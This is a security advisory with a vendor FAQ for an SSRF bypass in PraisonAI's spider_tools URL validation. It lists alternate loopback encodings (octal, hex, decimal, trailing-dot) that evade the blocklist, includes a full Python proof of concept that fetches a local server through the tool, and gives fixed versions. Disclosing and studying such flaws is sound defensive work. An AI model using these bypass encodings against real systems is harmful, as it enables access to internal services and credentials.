CVE-2026-47390

PraisonAI's spider_tools URL validation can be bypassed using alternate loopback host encodings.

The affected component is:

praisonaiagents/tools/spider_tools.py

The tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as localhost and 127.0.0.1.

It does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request.

As a result, URLs such as the following bypass the protection and still reach loopback services:

http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

After the weak validation passes, scrape_page() calls requests.Session.get() on the attacker-controlled URL. This allows an attacker who can influence URLs passed to scrape_page, crawl, or extract_text to induce SSRF requests against loopback-only services.

This is a server-side request forgery protection bypass.

Details

The affected code is in:

praisonaiagents/tools/spider_tools.py

The vulnerable flow is:

attacker-controlled URL
  -> spider_tools._validate_url(...)
  -> weak exact-host blocklist check
  -> validation passes for alternate loopback encodings
  -> scrape_page(...)
  -> requests.Session.get(attacker_url)
  -> loopback service is reached

The validation appears to block only exact local hostnames or exact IPv4 strings. For example, it blocks simple forms such as:

localhost
127.0.0.1

However, equivalent loopback forms are not rejected before the request is made.

Confirmed bypass examples:

http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

These values can resolve or be interpreted as loopback addresses by the HTTP client / underlying networking stack, while bypassing the string-based validation.

The issue is not that spider_tools can fetch arbitrary URLs. The issue is that it attempts to provide SSRF protection, but the protection can be bypassed with alternate representations of loopback addresses.

PoC

The following PoC is non-destructive. It starts a local HTTP server on 127.0.0.1:8765, then sends several alternate loopback URL forms through the real spider_tools validation/fetch path.

The expected secure behavior is that all loopback variants should be rejected before any HTTP request is made.

The actual vulnerable behavior is that the alternate loopback forms pass validation and reach the local server.

Full PoC

#!/usr/bin/env python3
"""PoC for PraisonAI spider_tools localhost-alias SSRF bypass."""

from __future__ import annotations

import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path


REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
SPIDER_TOOLS = AGENTS_ROOT / "praisonaiagents/tools/spider_tools.py"


def verify_source() -> None:
    expected = [
        "def _validate_url",
        "requests.Session",
        ".get(",
    ]

    text = SPIDER_TOOLS.read_text(encoding="utf-8")
    for needle in expected:
        if needle not in text:
            raise RuntimeError(f"source verification failed: {needle!r} not found in {SPIDER_TOOLS}")


class LocalHandler(BaseHTTPRequestHandler):
    hits: list[tuple[str, str | None]] = []
    body = b"LOCAL-SPIDER-SSRF-SECRET"

    def do_GET(self) -> None:  # noqa: N802
        self.__class__.hits.append((self.path, self.headers.get("Host")))
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)

    def log_message(self, format: str, *args) -> None:  # noqa: A003
        return


def main() -> int:
    if not SPIDER_TOOLS.exists():
        raise SystemExit("missing local PraisonAI source tree")

    verify_source()

    sys.path.insert(0, str(AGENTS_ROOT))

    # Import the real shipped implementation.
    #
    # Depending on the exact public API exposed by spider_tools.py,
    # use the exported scrape function available in the local version.
    # The important path is:
    #
    #   _validate_url(url)
    #     -> requests.Session.get(url)
    #
    import praisonaiagents.tools.spider_tools as spider_tools

    server = HTTPServer(("127.0.0.1", 8765), LocalHandler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()

    candidates = [
        "http://localhost.:8765/",
        "http://127.1:8765/",
        "http://0177.0.0.1:8765/",
        "http://0x7f000001:8765/",
        "http://2130706433:8765/",
    ]

    try:
        for url in candidates:
            LocalHandler.hits.clear()

            try:
                # Prefer the real public scraping API when available.
                if hasattr(spider_tools, "scrape_page"):
                    result = spider_tools.scrape_page(url)
                elif hasattr(spider_tools, "extract_text"):
                    result = spider_tools.extract_text(url)
                elif hasattr(spider_tools, "crawl"):
                    result = spider_tools.crawl(url)
                else:
                    raise RuntimeError("No expected spider_tools public fetch function found")

                reached = bool(LocalHandler.hits)
                contains_secret = "LOCAL-SPIDER-SSRF-SECRET" in str(result)

                print(f"{url} passed=True reached_loopback={reached} contains_secret={contains_secret}")

                if not reached:
                    raise SystemExit(f"[poc] MISS: {url} did not reach loopback server")

            except Exception as exc:
                print(f"{url} blocked_or_failed={type(exc).__name__}: {exc}")
                raise

    finally:
        server.shutdown()
        server.server_close()
        thread.join(timeout=1)

    print("[poc] HIT: alternate loopback URL forms bypassed spider_tools SSRF protection")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Confirmed local result

The following bypasses were confirmed locally:

localhost. True ok ok local hit
127.1 True ok ok local hit
0177.0.0.1 True ok ok local hit
0x7f000001 True ok ok local hit
2130706433 True ok ok local hit

This demonstrates that the validation allows alternate loopback representations and that the request reaches a local-only HTTP service.

Expected secure behavior

All loopback-equivalent addresses should be blocked before the HTTP request is made.

Examples that should be rejected:

http://localhost/
http://localhost./
http://127.0.0.1/
http://127.1/
http://0177.0.0.1/
http://0x7f000001/
http://2130706433/
http://[::1]/

Actual vulnerable behavior

Several alternate loopback representations pass validation and are fetched by the tool.

An attacker who can influence URLs passed to PraisonAI's spider tools can cause the process to send HTTP requests to loopback-only services.

Potential impact includes:

• SSRF against localhost-only admin panels or development servers;
• access to local HTTP services that are not intended to be reachable remotely;
• retrieval of local service responses into the agent/tool output;
• possible access to cloud metadata or private-network services if equivalent bypasses exist for those address ranges in a given deployment.

The most direct confirmed impact is loopback SSRF through alternate hostname/IP encodings.

This report does not claim arbitrary TCP access or remote code execution. The demonstrated behavior is HTTP(S) SSRF through the spider URL-fetching feature.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-47390 has a CVSS score of 5.5 (Medium). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.6.40, 4.6.40); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-47390? CVE-2026-47390 is a medium-severity server-side request forgery (SSRF) vulnerability in praisonaiagents (pip), affecting versions <= 1.6.39. It is fixed in 1.6.40, 4.6.40. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-47390? CVE-2026-47390 has a CVSS score of 5.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2026-47390?
   • praisonaiagents (pip) (versions <= 1.6.39)
   • PraisonAI (pip) (versions <= 4.6.39)
4. Is there a fix for CVE-2026-47390? Yes. CVE-2026-47390 is fixed in 1.6.40, 4.6.40. Upgrade to this version or later.
5. Is CVE-2026-47390 exploitable, and should I be worried? Whether CVE-2026-47390 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-47390 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-47390?
   • Upgrade praisonaiagents to 1.6.40 or later
   • Upgrade PraisonAI to 4.6.40 or later